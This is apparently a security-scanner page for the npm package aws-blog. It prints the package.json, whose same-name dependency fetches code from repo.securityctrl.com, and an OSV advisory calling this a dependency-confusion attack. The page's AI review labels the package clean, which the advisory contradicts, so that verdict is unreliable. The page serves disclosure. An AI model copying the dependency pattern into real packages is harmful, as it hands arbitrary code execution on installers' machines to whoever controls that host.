registry / aws-blog / 45.0.2

aws-blog@45.0.2

Simple first commit.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

No confirmed malicious attack surface is established in the reviewed package source. A manifest dependency URL is the only external reference.

Static reason

No blocking static signals were detected.

Trigger

Standard npm dependency resolution may retrieve the declared dependency.

Impact

No harmful package behavior is present in the reviewed files.

Mechanism

Minimal exported fixed-string function with a dependency declaration.

Rationale

The package has no lifecycle hooks and its only executable source returns a fixed string. The URL dependency warrants normal dependency provenance checks, but it is not concrete malicious behavior in this package.

Evidence

package.jsonindex.jsREADME.md

Network endpoints1

repo.securityctrl.com/aws-blog

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15498

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in aws-blog (npm)

Details

package.json declares a dependency whose key equals the package's own name (aws-blog) and whose value is the bare HTTPS URL https://repo.securityctrl.com/aws-blog rather than a registry version range. On npm install, npm fetches whatever tarball that host returns and installs it, executing any lifecycle scripts it contains, with no version pin, no integrity hash, and no signature check. The shipped source is an inert stub, so the manifest itself is the entire install-time payload. The name collision with the package's own identifier combined with the implausibly high 45.0.1 version is a dependency-confusion delivery shape intended to win resolution against an internal package of the same name. Whoever controls repo.securityctrl.com controls arbitrary code execution on the installer's machine at install time.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Clean at 94.0% confidence as Benign with low false-positive risk.

Evidence for block

The manifest declares a same-name dependency fetched from a URL.
The executable entry point only defines and exports a function that returns a fixed string.

Evidence against

No install, preinstall, or postinstall lifecycle hook is declared.
No network, shell, file-system, dynamic-code, credential, or persistence behavior appears in the reviewed source.
The package contains only package.json, index.js, and a short README.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 78 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-17json

2 "name": "aws-blog",

3 "version": "45.0.2",

4 "description": "Simple first commit.",

5 "main": "index.js",

6 "bin": {

7 "aws-blog": "index.js"

8 },

9 "scripts": {

10 "test": "echo \"Error: no test specified\" && exit 1"

11 },

12 "author": "",

13 "license": "",

14 "dependencies": {

15 "aws-blog": "https://repo.securityctrl.com/aws-blog"

16 }

High

Suspicious Dependency Evidence

The manifest declares a same-name dependency fetched from a URL.

package.jsonView on unpkg · L14

17}

index.jsView file

Lines 1-7javascript

1#!/usr/bin/env node

2function hello() {

3 return "ok"

6module.exports = hello

High

Ai Review Evidence

The executable entry point only defines and exports a function that returns a fixed string.

index.jsView on unpkg · L1

Source & flagged code

2 flagged · loading source

package.jsonView file

14"dependencies": { "aws-blog": "https://repo.securityctrl.com/aws-blog" }

High

Suspicious Dependency Evidence

The manifest declares a same-name dependency fetched from a URL.

package.jsonView on unpkg · L14

index.jsView file

1#!/usr/bin/env node function hello() { return "ok" } module.exports = hello

High

Ai Review Evidence

The executable entry point only defines and exports a function that returns a fixed string.

index.jsView on unpkg · L1

Findings

2 High2 Low

HighSuspicious Dependency Evidencepackage.json

HighAi Review Evidenceindex.js

LowScripts Present

LowNo License